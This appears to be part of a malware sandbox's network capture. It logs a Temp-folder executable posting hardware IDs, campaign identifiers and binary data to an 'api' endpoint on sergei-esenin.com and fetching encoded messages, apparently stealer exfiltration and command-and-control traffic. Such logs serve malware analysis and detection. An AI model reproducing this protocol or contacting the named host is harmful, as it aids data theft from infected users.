2024-10-24 16:09:43 UTC	1369	IN	Data Raw: 66 33 53 53 6a 6a 62 52 77 55 68 59 50 52 70 4f 4f 54 65 76 74 42 4b 73 44 30 6a 37 51 32 4f 4e 74 75 30 42 6b 58 6a 4a 41 56 46 7a 56 50 65 72 5a 2b 55 4e 63 41 78 35 44 31 62 56 52 36 50 30 4a 70 77 71 59 49 70 2f 4c 71 6d 32 2f 42 7a 38 4d 64 41 45 64 57 4d 4a 38 75 35 58 64 51 55 63 49 44 77 58 4f 38 55 4b 6f 2f 41 50 6d 56 39 49 6c 6c 4d 36 6e 62 62 73 47 4f 52 67 35 54 6c 4a 65 32 6a 50 6e 33 76 31 41 56 41 73 61 53 4e 57 74 55 65 50 30 41 36 38 44 6e 32 48 51 67 61 52 79 39 31 68 38 4c 7a 6c 42 55 31 6a 4d 66 50 79 62 37 51 5a 53 43 6c 38 64 6b 62 35 58 35 2f 67 41 70 51 79 54 4b 34 7a 54 72 32 4f 2f 42 54 41 56 4f 6b 6c 50 57 64 55 31 34 4e 62 39 51 56 30 4b 46 55 62 57 2f 78 57 6f 2f 42 66 6d 56 39 49 43 69 64 47 75 4b 71 68 4f 4a 56 34 7a 51 78 Data Ascii: f3SSjjbRwUhYPRpOOTevtBKsD0j7Q2ONtu0BkXjJAVFzVPerZ+UNcAx5D1bVR6P0JpwqYIp/Lqm2/Bz8MdAEdWMJ8u5XdQUcIDwXO8UKo/APmV9IllM6nbbsGORg5TlJe2jPn3v1AVAsaSNWtUeP0A68Dn2HQgaRy91h8LzlBU1jMfPyb7QZSCl8dkb5X5/gApQyTK4zTr2O/BTAVOklPWdU14Nb9QV0KFUbW/xWo/BfmV9ICidGuKqhOJV4zQx
2024-10-24 16:09:43 UTC	1369	IN	Data Raw: 38 64 44 79 53 56 6f 50 46 6b 48 5a 76 46 76 73 2f 77 69 6a 44 4a 34 71 6d 63 4b 73 62 72 34 4f 4e 52 46 30 41 52 31 59 77 6e 79 37 6c 64 56 64 56 67 6f 53 42 63 37 78 51 71 6a 38 41 2b 5a 58 30 69 32 51 78 4b 4e 67 73 51 51 35 47 44 35 4b 58 56 54 5a 4d 2b 66 54 38 45 6c 56 44 52 5a 45 31 37 70 52 34 2f 30 43 70 51 6d 55 59 64 43 42 70 48 4c 33 57 48 77 2b 4c 30 4a 52 57 4a 6f 6a 72 63 79 30 51 56 6c 47 52 77 58 61 73 31 2f 76 2b 77 4b 6c 42 35 63 6c 6c 4d 53 6a 59 71 55 49 50 42 6b 6d 58 56 31 57 33 7a 44 67 31 66 42 41 58 41 41 63 51 5a 48 78 47 2b 2f 6a 54 2f 35 50 76 79 32 5a 36 4b 52 78 39 78 39 79 42 33 52 49 55 52 2b 43 66 4f 4c 65 2f 6b 6c 59 42 52 6c 47 32 72 70 52 36 66 77 48 71 78 32 52 4c 70 48 46 6f 32 57 78 42 6a 30 52 4d 6b 68 55 58 74 49 Data Ascii: 8dDySVoPFkHZvFvs/wijDJ4qmcKsbr4ONRF0AR1Ywny7ldVdVgoSBc7xQqj8A+ZX0i2QxKNgsQQ5GD5KXVTZM+fT8ElVDRZE17pR4/0CpQmUYdCBpHL3WHw+L0JRWJojrcy0QVlGRwXas1/v+wKlB5cllMSjYqUIPBkmXV1W3zDg1fBAXAAcQZHxG+/jT/5Pvy2Z6KRx9x9yB3RIUR+CfOLe/klYBRlG2rpR6fwHqx2RLpHFo2WxBj0RMkhUXtI
2024-10-24 16:09:43 UTC	363	IN	Data Raw: 6e 68 79 45 42 56 43 77 62 68 4d 35 37 74 42 35 67 44 53 65 61 65 42 71 6d 32 73 45 53 6f 54 4a 45 67 64 59 4a 52 38 2b 35 57 73 42 6d 41 46 45 55 76 57 71 55 71 6c 33 42 6d 73 43 49 49 6d 69 63 37 6a 4a 50 63 47 66 45 5a 6e 41 52 31 62 79 33 79 37 68 61 59 64 41 46 56 49 46 59 4f 67 46 66 47 37 47 65 5a 58 77 47 2f 65 30 2b 4d 79 39 30 63 2f 44 43 5a 4a 58 6b 6e 5a 65 39 33 72 30 31 78 59 41 41 68 55 37 34 46 63 38 76 59 4a 73 52 37 65 4e 4a 33 50 72 57 32 68 51 48 4a 65 4f 77 38 46 5a 70 70 30 6f 2b 71 36 42 6b 31 47 52 77 58 6b 76 46 58 6d 2f 42 6d 33 51 72 55 37 6b 38 65 30 65 2f 64 4f 66 42 68 30 46 77 30 52 6d 6a 6a 79 6c 61 77 57 42 31 31 4b 46 6f 62 76 43 66 65 31 46 75 59 5a 30 6e 6e 4d 6a 2b 4e 34 39 31 68 38 57 54 64 64 54 31 6e 5a 4b 75 43 53 Data Ascii: nhyEBVCwbhM57tB5gDSeaeBqm2sESoTJEgdYJR8+5WsBmAFEUvWqUql3BmsCIImic7jJPcGfEZnAR1by3y7haYdAFVIFYOgFfG7GeZXwG/e0+My90c/DCZJXknZe93r01xYAAhU74Fc8vYJsR7eNJ3PrW2hQHJeOw8FZpp0o+q6Bk1GRwXkvFXm/Bm3QrU7k8e0e/dOfBh0Fw0RmjjylawWB11KFobvCfe1FuYZ0nnMj+N491h8WTddT1nZKuCS
2024-10-24 16:09:43 UTC	1369	IN	Data Raw: 32 36 65 61 0d 0a 47 4d 67 66 73 71 38 41 4d 75 44 44 4a 4d 53 31 79 64 41 74 33 57 34 6b 74 61 44 52 35 37 37 35 46 57 36 66 67 42 35 44 36 45 4c 49 37 43 70 6d 32 4a 50 6a 49 5a 49 45 68 54 57 64 70 38 72 5a 58 37 42 67 30 2f 58 77 32 52 67 42 57 6f 34 30 2f 2b 54 36 63 69 6b 4d 2b 6b 66 4b 5a 4e 48 77 67 35 51 46 5a 65 6d 6e 4b 6a 30 37 51 65 42 55 68 66 51 63 44 2f 41 37 69 70 56 50 4e 63 78 58 48 4d 33 75 31 7a 39 78 5a 38 52 6d 59 42 48 55 32 61 5a 4b 4f 53 2b 6b 74 55 42 52 46 47 77 36 31 64 36 2b 30 4d 34 54 47 73 41 4a 50 4b 72 32 65 34 43 77 49 67 46 55 4a 57 55 39 63 7a 36 4f 76 4b 55 31 59 49 45 55 4c 48 72 68 75 6d 75 77 44 6d 56 36 74 68 31 6f 47 63 4a 50 63 59 66 45 5a 30 65 6c 35 52 31 44 76 31 78 4c 6c 6e 57 41 30 54 53 4e 36 30 47 36 61 Data Ascii: 26eaGMgfsq8AMuDDJMS1ydAt3W4ktaDR5775FW6fgB5D6ELI7Cpm2JPjIZIEhTWdp8rZX7Bg0/Xw2RgBWo40/+T6cikM+kfKZNHwg5QFZemnKj07QeBUhfQcD/A7ipVPNcxXHM3u1z9xZ8RmYBHU2aZKOS+ktUBRFGw61d6+0M4TGsAJPKr2e4CwIgFUJWU9cz6OvKU1YIEULHrhumuwDmV6th1oGcJPcYfEZ0el5R1Dv1xLlnWA0TSN60G6a
2024-10-24 16:09:43 UTC	1369	IN	Data Raw: 49 51 69 32 66 2b 64 54 36 41 44 4c 42 67 33 63 57 4e 30 31 6a 72 6b 7a 2f 4e 41 63 79 5a 66 43 35 47 77 47 37 44 43 54 2b 35 50 72 57 2f 65 32 65 4d 79 39 7a 55 2f 45 44 70 49 53 30 36 58 47 66 54 57 35 45 42 57 52 6c 45 46 31 2f 38 44 75 4c 56 50 6f 68 37 53 65 63 36 54 2b 44 2f 6b 56 32 78 4d 4b 77 46 45 48 38 78 38 75 34 65 36 42 6b 64 47 52 77 57 57 76 45 6e 36 2f 51 79 77 44 4e 55 66 6f 4f 65 67 65 37 30 68 4d 51 34 7a 63 57 4e 4b 32 54 4c 74 30 75 4a 58 46 55 68 66 53 70 48 6e 59 71 69 7a 51 36 41 4d 68 47 47 68 6a 2b 4e 79 39 31 68 38 4b 7a 64 42 55 31 6a 4d 4c 61 37 7a 39 31 64 66 4a 78 4a 56 31 76 38 56 71 50 31 50 2f 6c 7a 63 59 5a 72 51 34 7a 4c 6e 55 6d 64 4c 5a 78 67 4e 44 63 56 79 2b 70 58 69 42 67 31 55 55 51 58 44 2f 77 4f 6f 76 41 79 30 Data Ascii: IQi2f+dT6ADLBg3cWN01jrkz/NAcyZfC5GwG7DCT+5PrW/e2eMy9zU/EDpIS06XGfTW5EBWRlEF1/8DuLVPoh7Sec6T+D/kV2xMKwFEH8x8u4e6BkdGRwWWvEn6/QywDNUfoOege70hMQ4zcWNK2TLt0uJXFUhfSpHnYqizQ6AMhGGhj+Ny91h8KzdBU1jMLa7z91dfJxJV1v8VqP1P/lzcYZrQ4zLnUmdLZxgNDcVy+pXiBg1UUQXD/wOovAy0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	50036	104.21.53.8	443	4020	C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 16:09:43 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=paFJQbaInRd0Muv09apkhxhjAT.rmcrFXquaMGyGUio-1729786171-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1251 Host: sergei-esenin.com
2024-10-24 16:09:43 UTC	1251	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 37 45 30 37 42 38 45 45 36 30 44 32 43 46 43 30 36 37 41 34 39 46 46 33 38 32 41 32 33 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B7E07B8EE60D2CFC067A49FF382A23CE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 16:09:43 UTC	1023	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:09:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h2slq6t3cmhf09j1eqokgp167a; expires=Mon, 17 Feb 2025 09:56:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bkmyhl%2BTxdWNBFTlTUGr1s3zQ2oqFWXkcJUbASP%2BSdq2sxOpCXbAKAh%2Br84H%2Fvc8e3fJlDY6m4KoUYJ1fI71azYqdbr9rCDmbBiJ5Zf%2BsXLobsNYAqCHzK%2FOymoSaYrLUMEVVw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b3b9e0fcf4864-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=956&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2258&delivery_rate=2803484&cwnd=249&unsent_bytes=0&cid=3c7e7f6c2d61e7fe&ts=367&x=0"
2024-10-24 16:09:43 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 16:09:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50041	104.21.53.8	443	6764	C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 16:09:44 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=DmaJN0UG_4fleNiJ6ivEATclXoC8SssrlhlA5JBTdIM-1729786180-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: sergei-esenin.com
2024-10-24 16:09:44 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 37 45 30 37 42 38 45 45 36 30 44 32 43 46 43 30 36 37 41 34 39 46 46 33 38 32 41 32 33 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B7E07B8EE60D2CFC067A49FF382A23CE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 16:09:44 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:09:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p707sqt352aitdrj1jv68efo4j; expires=Mon, 17 Feb 2025 09:56:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Fz8OnU38tVQCL5XdnvmLjkVhsi34fLqe6X2%2FKKRMkslSqvSmRVbn59ptqg99FziH1Wa47dkmYMp19ap61HpK5XKOc2QchXJTxgKxSQVid6wk0ryBiI1ozJWykudc%2F5Gl%2FpN0nw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b3ba4e970485d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1264&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13894&delivery_rate=2195602&cwnd=251&unsent_bytes=0&cid=67e0c85dfd9f40f4&ts=594&x=0"
2024-10-24 16:09:44 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 16:09:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50044	104.21.53.8	443	4020	C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 16:09:46 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=paFJQbaInRd0Muv09apkhxhjAT.rmcrFXquaMGyGUio-1729786171-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19743 Host: sergei-esenin.com
2024-10-24 16:09:46 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 37 45 30 37 42 38 45 45 36 30 44 32 43 46 43 30 36 37 41 34 39 46 46 33 38 32 41 32 33 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B7E07B8EE60D2CFC067A49FF382A23CE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 16:09:46 UTC	4412	OUT	Data Raw: f7 be b8 eb c3 c2 f2 49 ee 53 cd c6 5b ce 3d 17 78 c5 90 e6 ca c7 bc 87 23 55 32 49 e3 0b 37 42 43 7f 1e 27 49 d6 59 f3 c7 1b df 5a 06 9d 14 cb a1 56 af 88 c3 6c 74 5f 9b 0d fd 72 1c 18 6c bc c4 bd 23 2a 81 56 24 7d dc d2 4e 80 55 2d 6f 66 fc e3 36 c5 e6 5e bf f6 df 26 a1 31 af 50 5d 1b aa 70 5a 86 0b 7b c6 4e fa 19 fe e3 cd c9 67 4c 3d bd 27 39 95 99 3e c3 0a aa 50 fb a7 95 31 27 a0 4d 6f bd 84 47 1e e8 05 9a 92 24 8b bf 4c cc f3 c5 86 94 a1 3a 66 38 b0 5c d2 6c bd c4 f8 0b fa 77 4f 63 3c db 9f 78 99 26 4e 24 20 d8 9d 7a 02 e6 f4 8a fb 89 7e d7 ae 7c 7d 24 01 74 ce 28 35 bd db 30 f4 d9 7a 6e 51 ff a5 2c b3 df 02 57 9a 1c 07 5f d8 24 a6 7c de 14 3e c9 b6 89 e5 37 23 61 be 04 7f 84 36 1a 59 0e 07 99 21 a5 48 ac a0 71 4a ba fa 4e 6b e1 b9 58 91 89 e1 9a b1 Data Ascii: IS[=x#U2I7BC'IYZVlt_rl#*V$}NU-of6^&1P]pZ{NgL='9>P1'MoG$L:f8\lwOc<x&N$ z~\|}$t(50znQ,W_$\|>7#a6Y!HqJNkX
2024-10-24 16:09:47 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:09:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t9qimb2vqhhi5hgu8sgpdrr0s5; expires=Mon, 17 Feb 2025 09:56:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iJPePgwEAXfXS5lLu0hf8G7K1yY6DizwIZtHlRkX6pmX4lGf%2FUomBLNOZo1Aw8KfMcC36LL%2FJTQzqofzkaSg67iS21lySQHrvrnky5fmSvjdm0hvqepRwYhlF3UcY%2FZy00IjrA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b3bb519934546-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=17802&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2844&recv_bytes=20795&delivery_rate=162861&cwnd=32&unsent_bytes=0&cid=a341f057623b922b&ts=674&x=0"
2024-10-24 16:09:47 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 16:09:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	50045	104.21.53.8	443	6764	C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 16:09:47 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=DmaJN0UG_4fleNiJ6ivEATclXoC8SssrlhlA5JBTdIM-1729786180-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: sergei-esenin.com
2024-10-24 16:09:47 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 37 45 30 37 42 38 45 45 36 30 44 32 43 46 43 30 36 37 41 34 39 46 46 33 38 32 41 32 33 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B7E07B8EE60D2CFC067A49FF382A23CE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 16:09:47 UTC	1016	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:09:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k1388pfhtbs5a4gck1lm5krohn; expires=Mon, 17 Feb 2025 09:56:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BgQX5E6hQWcebWZL30hib2PpXK4axVMR%2FRVegei4lPLRWVaXth7Iel3p8db3xDmmGuyLS3lmFqSCPLPCMSuGuw4iK3ljF%2BtPyaldps0Q4zYk26vmC4V0H3OU3kzp4aiWqAQFFg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b3bb76ff0b78c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1105&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2846&recv_bytes=16140&delivery_rate=2551541&cwnd=158&unsent_bytes=0&cid=af3c4919e1330f22&ts=601&x=0"
2024-10-24 16:09:47 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 16:09:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50050	104.21.53.8	443	4020	C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 16:09:48 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=paFJQbaInRd0Muv09apkhxhjAT.rmcrFXquaMGyGUio-1729786171-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: sergei-esenin.com
2024-10-24 16:09:48 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 42 37 45 30 37 42 38 45 45 36 30 44 32 43 46 43 30 36 37 41 34 39 46 46 33 38 32 41 32 33 43 45 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=B7E07B8EE60D2CFC067A49FF382A23CE
2024-10-24 16:09:48 UTC	1012	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:09:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9tcd1b5rfr3317fm5bo94rb771; expires=Mon, 17 Feb 2025 09:56:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qOHEgeCLMwd%2FHefsW1TLqTYcMe8Wt6kAQkQcVdLiFW6M5J7rYQVYWS7rvBI5mSWaso9A9MiqyDTsBa9NaKcIUjxTc0J6EB1YVuVylYnFidOv0rsmDoS1IyMnULGt1RDumtO1zg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b3bbe3f7e460b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1790&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1077&delivery_rate=1575625&cwnd=247&unsent_bytes=0&cid=e1fc580a9b77ca33&ts=511&x=0"
2024-10-24 16:09:48 UTC	299	IN	Data Raw: 31 32 34 0d 0a 44 58 59 50 66 45 76 53 67 39 74 78 73 66 31 45 63 4d 6b 2b 78 4e 43 31 49 66 71 51 42 50 2b 48 75 7a 34 30 73 78 6b 75 42 50 52 57 44 53 30 4a 61 65 69 68 73 77 58 46 6a 58 34 73 35 6d 4c 72 34 59 30 55 31 4b 49 31 79 71 6d 4b 44 77 65 64 4b 42 68 59 32 32 41 66 59 52 6b 58 2f 66 47 36 48 39 57 53 4b 56 36 73 52 71 48 79 6d 51 4f 63 35 43 62 46 74 35 63 63 55 5a 45 6a 48 6e 6e 59 64 6c 52 36 58 6e 48 77 36 36 38 46 77 63 63 59 58 35 55 52 39 65 69 41 44 38 69 68 4d 64 47 32 69 67 30 61 67 69 39 79 4b 34 64 35 45 32 34 52 46 2f 33 78 75 68 2f 56 6b 69 6c 65 72 45 61 68 38 70 6b 44 6e 4f 51 6d 78 62 65 58 48 46 47 52 49 78 35 35 32 48 5a 55 65 6c 35 78 38 4f 75 76 42 63 48 48 47 46 2b 56 45 66 58 6f 67 41 2f 49 6f 54 48 52 74 6f 6f 4e 47 6f Data Ascii: 124DXYPfEvSg9txsf1EcMk+xNC1IfqQBP+Huz40sxkuBPRWDS0JaeihswXFjX4s5mLr4Y0U1KI1yqmKDwedKBhY22AfYRkX/fG6H9WSKV6sRqHymQOc5CbFt5ccUZEjHnnYdlR6XnHw668FwccYX5UR9eiAD8ihMdG2ig0agi9yK4d5E24RF/3xuh/VkilerEah8pkDnOQmxbeXHFGRIx552HZUel5x8OuvBcHHGF+VEfXogA/IoTHRtooNGo
2024-10-24 16:09:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

